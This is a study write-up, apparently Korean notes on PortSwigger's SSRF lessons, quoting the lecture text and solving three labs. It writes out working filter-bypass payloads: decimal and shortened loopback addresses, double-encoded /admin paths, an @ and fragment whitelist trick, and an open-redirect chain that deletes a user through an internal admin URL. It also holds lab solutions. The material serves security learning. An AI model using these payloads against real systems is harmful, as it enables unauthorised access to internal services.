[Portswigger]SSRF(2)

SSRF Lecture
https://portswigger.net/web-security/ssrf

SSRF Lab
https://portswigger.net/web-security/all-labs#server-side-request-forgery-ssrf

Circumventing common SSRF defenses

SSRF with blacklist-based input filters

Some applications block input containing hostnames like 127.0.0.1 and localhost, or sensitive URLs like /admin. In this situation, you can often circumvent the filter using the following techniques:

Use an alternative IP representation of 127.0.0.1, such as 2130706433, 017700000001, or 127.1.

→ 다음과 같은 우회 방식을 시도해볼 수 있다.

• 10진수(Decimal): 2130706433 (127.0.0.1을 10진수 정수로 변환한 값)
• 8진수(Octal): 017700000001 (각 마디를 8진수로 변환)
• 16진수(Hexadecimal): 0x7f000001
• 생략: 127.1 (중간의 0을 생략해도 운영체제는 127.0.0.1로 해석)

Register your own domain name that resolves to 127.0.0.1. You can use spoofed.burpcollaborator.net for this purpose.

→ 127.0.0.1이라는 숫자 대신, 이 IP를 가리키는 도메인 이름을 사용

• 원리: 서버 필터는 URL에 "127"이나 "localhost"가 있는지 검사한다. 하지만 공격자가 my-loopback.com이라는 도메인을 사고, 이 도메인의 DNS A 레코드를 127.0.0.1로 설정하면 필터는 일반적인 외부 도메인으로 인식하여 통과시킨다.
• 활용: Burp Suite의 spoofed.burpcollaborator.net처럼 이미 127.0.0.1로 연결되도록 설정된 공개 도메인을 사용할 수도 있다.

Obfuscate blocked strings using URL encoding or case variation.

→ 난독화 (Obfuscation): 필터가 차단하는 특정 단어(예: /admin)를 알아보기 힘들게 비트는 방법

• URL 인코딩: /admin 대신 %61%64%6d%69%6e으로 전달한다. 서버 내부에서 이를 다시 디코딩하여 처리할 경우 필터를 우회하게 된다.
• 대소문자 변환: 필터가 대소문자를 구분한다면 /ADMIN 또는 /aDmIn으로 시도하여 차단을 피할 수 있다.

Provide a URL that you control, which redirects to the target URL. Try using different redirect codes, as well as different protocols for the target URL. For example, switching from an http: to https: URL during the redirect has been shown to bypass some anti-SSRF filters.

→ 리다이렉트 활용 (HTTP Redirect): 서버가 입력받은 URL을 검사할 때와 실제로 접속할 때의 차이를 이용

• 공격자가 제어하는 외부 서버(http://attacker.com/move)를 입력한다.
• 서버의 필터는 "외부 주소이므로 안전하다"고 판단하고 요청을 허용한다.
• 공격자의 서버는 이 요청을 받을 때 302 Redirect 응답과 함께 Location: http://127.0.0.1/admin 헤더를 보낸다.
• 대상 서버는 리다이렉트 지시에 따라 내부의 127.0.0.1/admin으로 다시 접속하게 된다.
• 이 과정에서 프로토콜을 http:에서 https:로 바꾸거나 그 반대로 바꾸는 방식이 필터의 로직을 꼬이게 만들어 우회에 성공하기도 한다.

#3 Lab: SSRF with blacklist-based input filter

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.

The developer has deployed two weak anti-SSRF defenses that you will need to bypass.

---

사용 툴: Burp Suite

http://127.1/ 또는 http://2130706433/ 우회 시도 차단

URL 인코딩 http://127.1/%61%64%6d%69%6e 차단

이중 URL 인코딩 http://127.1/%2561%2564%256d%2569%256e 우회 시도 성공

http://127.1/%2561%2564%256d%2569%256e/delete?username=carlos로 삭제 성공

LAB Solved!

---

SSRF with whitelist-based input filters

Some applications only allow inputs that match, a whitelist of permitted values. The filter may look for a match at the beginning of the input, or contained within in it. You may be able to bypass this filter by exploiting inconsistencies in URL parsing.

The URL specification contains a number of features that are likely to be overlooked when URLs implement ad-hoc parsing and validation using this method:

You can embed credentials in a URL before the hostname, using the @ character.
For example: https://expected-host:fakepassword@evil-host

You can use the # character to indicate a URL fragment.
For example: https://evil-host#expected-host

You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control.
For example: https://expected-host.evil-host

You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request. You can also try double-encoding characters; some servers recursively URL-decode the input they receive, which can lead to further discrepancies.
You can use combinations of these techniques together.

#4 Lab: SSRF with whitelist-based input filter

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.

The developer has deployed an anti-SSRF defense you will need to bypass.

---

view details

Check stock repeater로 보냄

stockApi=http://127.0.0.1/로 변경하여 send
요청 차단됨. host는 stock.weliketoshop.net이어야만 함을 확인

stockApi=http://username:password@stock.weliketoshop.net/로 바꾸어 전송 시 500 응답을 받는 것 확인

stockApi=http://localhost:80%2523@stock.weliketoshop.net/

• http://localhost:80: 도달하고자 하는 진짜 목적지

• @: URL에서 호스트명 앞에 사용자 이름이나 비밀번호를 넣을 때 사용하는 구분자

• # (%2523): 페이지 내부 위치를 나타내는 프래그먼트 구분자. 시스템은 # 이후의 문자열을 무시

• stock.weliketoshop.net: 서버가 허용한 Whitelist 목적지

stockApi=http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

LAB Solved!

Bypassing SSRF filters via open redirection

Bypassing SSRF filters via open redirection
It is sometimes possible to bypass filter-based defenses by exploiting an open redirection vulnerability.

In the previous example, imagine the user-submitted URL is strictly validated to prevent malicious exploitation of the SSRF behavior. However, the application whose URLs are allowed contains an open redirection vulnerability. Provided the API used to make the back-end HTTP request supports redirections, you can construct a URL that satisfies the filter and results in a redirected request to the desired back-end target.

For example, the application contains an open redirection vulnerability in which the following URL:

/product/nextProduct?currentProductId=6&path=http://evil-user.net

returns a redirection to:

http://evil-user.net

You can leverage the open redirection vulnerability to bypass the URL filter, and exploit the SSRF vulnerability as follows:

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

This SSRF exploit works because the application first validates that the supplied stockAPI URL is on an allowed domain, which it is. The application then requests the supplied URL, which triggers the open redirection. It follows the redirection, and makes a request to the internal URL of the attacker's choosing.

#5 Lab: SSRF with filter bypass via open redirection vulnerability

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://192.168.0.12:8080/admin and delete the user carlos.

The stock checker has been restricted to only access the local application, so you will need to find an open redirect affecting the application first.

---

View details -> Check stock

Next product 선택 시 결과로 받는 HTTP/2 302 Found 응답 메세지를 통해 리다이렉트 응답임을 확인할 수 있음

이 때의 요청메세지에 GET /product/nextProduct?currentProductId=2&path=/product?productId=3가 포함됨

GET /product/nextProduct?currentProductId=2&path=http://192.168.0.12:8080/admin에 대한 응답

리다이렉트 성공

stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos로 바꾸어 전송

LAB Solved!

Blind SSRF vulnerabilities

Blind SSRF vulnerabilities occur if you can cause an application to issue a back-end HTTP request to a supplied URL, but the response from the back-end request is not returned in the application's front-end response.

Blind SSRF is harder to exploit but sometimes leads to full remote code execution on the server or other back-end components.

Finding hidden attack surface for SSRF vulnerabilities

Many server-side request forgery vulnerabilities are easy to find, because the application's normal traffic involves request parameters containing full URLs. Other examples of SSRF are harder to locate.

Partial URLs in requests

Sometimes, an application places only a hostname or part of a URL path into request parameters. The value submitted is then incorporated server-side into a full URL that is requested. If the value is readily recognized as a hostname or URL path, the potential attack surface might be obvious. However, exploitability as full SSRF might be limited because you do not control the entire URL that gets requested.

URLs within data formats

Some applications transmit data in formats with a specification that allows the inclusion of URLs that might get requested by the data parser for the format. An obvious example of this is the XML data format, which has been widely used in web applications to transmit structured data from the client to the server. When an application accepts data in XML format and parses it, it might be vulnerable to XXE injection. It might also be vulnerable to SSRF via XXE. We'll cover this in more detail when we look at XXE injection vulnerabilities.

SSRF via the Referer header

Some applications use server-side analytics software to tracks visitors. This software often logs the Referer header in requests, so it can track incoming links. Often the analytics software visits any third-party URLs that appear in the Referer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header is often a useful attack surface for SSRF vulnerabilities.